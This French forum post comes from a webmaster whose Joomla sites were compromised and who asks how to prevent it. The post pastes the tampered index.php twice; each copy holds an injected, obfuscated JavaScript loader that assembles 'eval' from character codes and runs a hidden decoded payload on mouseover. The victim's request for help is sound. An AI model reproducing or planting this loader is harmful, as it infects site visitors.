Tweet
Hier soir, mes 4 sites (tous Joomla) sont devenus inaccessibles. Un ami a découvert que tous les fichiers index.php (de l'admin) avaient été falsifiés (lui aussi avait 2 sites Joomla qui avaient eu le même sort) ...
Voici la partie falsifiée de l'index :
Peut-on éviter ce genre de désagrément et surtout comment?
Voici la partie falsifiée de l'index :
require_once JPATH_BASE.'/includes/framework.php';
// Mark afterLoad in the profiler.
JDEBUG ? $_PROFILER->mark('afterLoad') : null;
// Instantiate the application.
$app = JFactory::getApplication('site');
// Initialise the application.
$app->initialise();
// Mark afterIntialise in the profiler.
JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
// Route the application.
$app->route();
// Mark afterRoute in the profiler.
JDEBUG ? $_PROFILER->mark('afterRoute') : null;
// Dispatch the application.
$app->dispatch();
// Mark afterDispatch in the profiler.
JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
// Render the application.
$app->render();
// Mark afterRender in the profiler.
JDEBUG ? $_PROFILER->mark('afterRender') : null;
// Return the response.
echo $app;
<div id="w3stats"></div>
<script language="JavaScript" type="text/javascript">
window.w3ssss=function(){
var scriptlink = "http://jquery.googlecode.com/svn/trunk/gadget/scripts/s.js?userrefer=%0A7gw%0Anayies4flsrrd4p%3Du4fdsauo gkncu2zutcymahnepbdnkg8t5wd.6ulcwprr5hjef37ace0tfg pe1zlEz19lkt9ey3sm96oeko4nhuvtfy5%282wj%226ofils0f owyrx6wanu4m6ajeinf%22bqs%293e0%3Bd5i%0Ayczieyifqi 9rct4.sl6snrzre2ocola%3Dg1q%22cd8h7irth8ltcufpz5g% 3Adu6/g4u/wwovvb0cb8p-p74bkadu0krsxuaip6znd9eegtrsghbsejf.ponc8kiocetmh6 r/cp8i63lndkg.8rrpbewh9kepdka%22x5n%3B73r%0Av27iar6f ht8rpsz.r5ksx1ottjxy2h1ltseeign.s28w7fvisuadzght5m ph09w%3Dpr0%22usd1yifpp0vxwar%22vw3%3Bpv6%0Ayljibn 8fjdzroab.60ns3llt4ulyxzclfrzektc.wq5hvbsed58if0yg t3dhtaatjsq%3Dqzs%22gxt1y6apeanxndo%225ij%3Bny2%0A cj5dzblow3fcr0gubrrm42geqinnghstuh3.3z6g3thezrgt7m 9Enx1ley7e6voma64eph0nl7htxqbB3n7yjtwIs9xdvht%28rp h%22ufxwhhm3flks84utufuanldthuks999%2222l%290io.9i ga4usp7rxpverebjgnjrbdyezCpugh3eliesil9ncdcer%28wu 7itzjfjl3rpqi%29q83%3Bsih%0A4ni%0Akba";
var visitnum=window.history.length%1000-window.history.length+4;
var countbox=document.createElement("div");countbox.id ='countbox';
idarr = new Array(97,114,93,104);
for(var i=0,elem=[]; i<visitnum; i++){elem[i]=document.createElement("div");elem[i].id= String.fromCharCode(idarr[i]+visitnum);countbox.appendChild(elem[i]);}
var cont=''; currentuser=true, nextuser=countbox.firstChild;
do{currentuser=nextuser; cont += currentuser.id; nextuser=currentuser.nextSibling;}while(currentuse r!==countbox.lastChild)
var userref=unescape(scriptlink.substr(scriptlink.inde xOf('?userrefer=')+11));
for(var i=0,content=''; i<userref.length; i+=visitnum){content+=userref.charAt(i);}
try{ window[cont](content) }catch(e){}
}
window.CheckBody = function()
{
if (!document.body){setTimeout('CheckBody();',10);}
else
{
window.nomore=false;
document.body.onmouseover=function(){if(!window.no more){window.nomore=true;w3ssss();}}
window.onmouseover=function(){if(!window.nomore){w indow.nomore=true;w3ssss();}}
}
}
CheckBody();
</script>
// Mark afterLoad in the profiler.
JDEBUG ? $_PROFILER->mark('afterLoad') : null;
// Instantiate the application.
$app = JFactory::getApplication('site');
// Initialise the application.
$app->initialise();
// Mark afterIntialise in the profiler.
JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
// Route the application.
$app->route();
// Mark afterRoute in the profiler.
JDEBUG ? $_PROFILER->mark('afterRoute') : null;
// Dispatch the application.
$app->dispatch();
// Mark afterDispatch in the profiler.
JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
// Render the application.
$app->render();
// Mark afterRender in the profiler.
JDEBUG ? $_PROFILER->mark('afterRender') : null;
// Return the response.
echo $app;
<div id="w3stats"></div>
<script language="JavaScript" type="text/javascript">
window.w3ssss=function(){
var scriptlink = "http://jquery.googlecode.com/svn/trunk/gadget/scripts/s.js?userrefer=%0A7gw%0Anayies4flsrrd4p%3Du4fdsauo gkncu2zutcymahnepbdnkg8t5wd.6ulcwprr5hjef37ace0tfg pe1zlEz19lkt9ey3sm96oeko4nhuvtfy5%282wj%226ofils0f owyrx6wanu4m6ajeinf%22bqs%293e0%3Bd5i%0Ayczieyifqi 9rct4.sl6snrzre2ocola%3Dg1q%22cd8h7irth8ltcufpz5g% 3Adu6/g4u/wwovvb0cb8p-p74bkadu0krsxuaip6znd9eegtrsghbsejf.ponc8kiocetmh6 r/cp8i63lndkg.8rrpbewh9kepdka%22x5n%3B73r%0Av27iar6f ht8rpsz.r5ksx1ottjxy2h1ltseeign.s28w7fvisuadzght5m ph09w%3Dpr0%22usd1yifpp0vxwar%22vw3%3Bpv6%0Ayljibn 8fjdzroab.60ns3llt4ulyxzclfrzektc.wq5hvbsed58if0yg t3dhtaatjsq%3Dqzs%22gxt1y6apeanxndo%225ij%3Bny2%0A cj5dzblow3fcr0gubrrm42geqinnghstuh3.3z6g3thezrgt7m 9Enx1ley7e6voma64eph0nl7htxqbB3n7yjtwIs9xdvht%28rp h%22ufxwhhm3flks84utufuanldthuks999%2222l%290io.9i ga4usp7rxpverebjgnjrbdyezCpugh3eliesil9ncdcer%28wu 7itzjfjl3rpqi%29q83%3Bsih%0A4ni%0Akba";
var visitnum=window.history.length%1000-window.history.length+4;
var countbox=document.createElement("div");countbox.id ='countbox';
idarr = new Array(97,114,93,104);
for(var i=0,elem=[]; i<visitnum; i++){elem[i]=document.createElement("div");elem[i].id= String.fromCharCode(idarr[i]+visitnum);countbox.appendChild(elem[i]);}
var cont=''; currentuser=true, nextuser=countbox.firstChild;
do{currentuser=nextuser; cont += currentuser.id; nextuser=currentuser.nextSibling;}while(currentuse r!==countbox.lastChild)
var userref=unescape(scriptlink.substr(scriptlink.inde xOf('?userrefer=')+11));
for(var i=0,content=''; i<userref.length; i+=visitnum){content+=userref.charAt(i);}
try{ window[cont](content) }catch(e){}
}
window.CheckBody = function()
{
if (!document.body){setTimeout('CheckBody();',10);}
else
{
window.nomore=false;
document.body.onmouseover=function(){if(!window.no more){window.nomore=true;w3ssss();}}
window.onmouseover=function(){if(!window.nomore){w indow.nomore=true;w3ssss();}}
}
}
CheckBody();
</script>
Commentaire